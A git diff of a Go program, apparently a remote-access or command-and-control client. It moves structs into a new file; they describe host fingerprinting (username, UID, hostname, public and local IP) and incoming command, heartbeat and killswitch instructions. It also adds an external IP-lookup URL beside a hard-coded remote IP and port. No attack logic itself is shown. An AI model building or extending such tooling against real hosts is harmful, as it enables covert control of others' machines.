diff --git a/main.go b/main.go index 768df4f..368ab5c 100644 --- a/main.go +++ b/main.go @@ -15,31 +15,10 @@ import ( "time" ) -type Client struct { - Username string - UID string - GID string - OperatingSystem string - Hostname string - PublicIP string - LocalIP string -} - -type Instructions struct { - IsHeartbeat bool - IsCommand bool - IsKillswitch bool - Message string -} - -type Response struct { - Successful bool - Message string -} - var ( - RemoteIP = "192.168.1.181" - RemotePort = "1302" + RemoteIP = "192.168.1.181" + RemotePort = "1302" + Remote_IP_Requester = "https://ip.bulgariu.xyz" ) func main() { diff --git a/structs.go b/structs.go new file mode 100644 index 0000000..f7dcbee --- /dev/null +++ b/structs.go @@ -0,0 +1,23 @@ +package main + +type Client struct { + Username string + UID string + GID string + OperatingSystem string + Hostname string + PublicIP string + LocalIP string +} + +type Instructions struct { + IsHeartbeat bool + IsCommand bool + IsKillswitch bool + Message string +} + +type Response struct { + Successful bool + Message string +}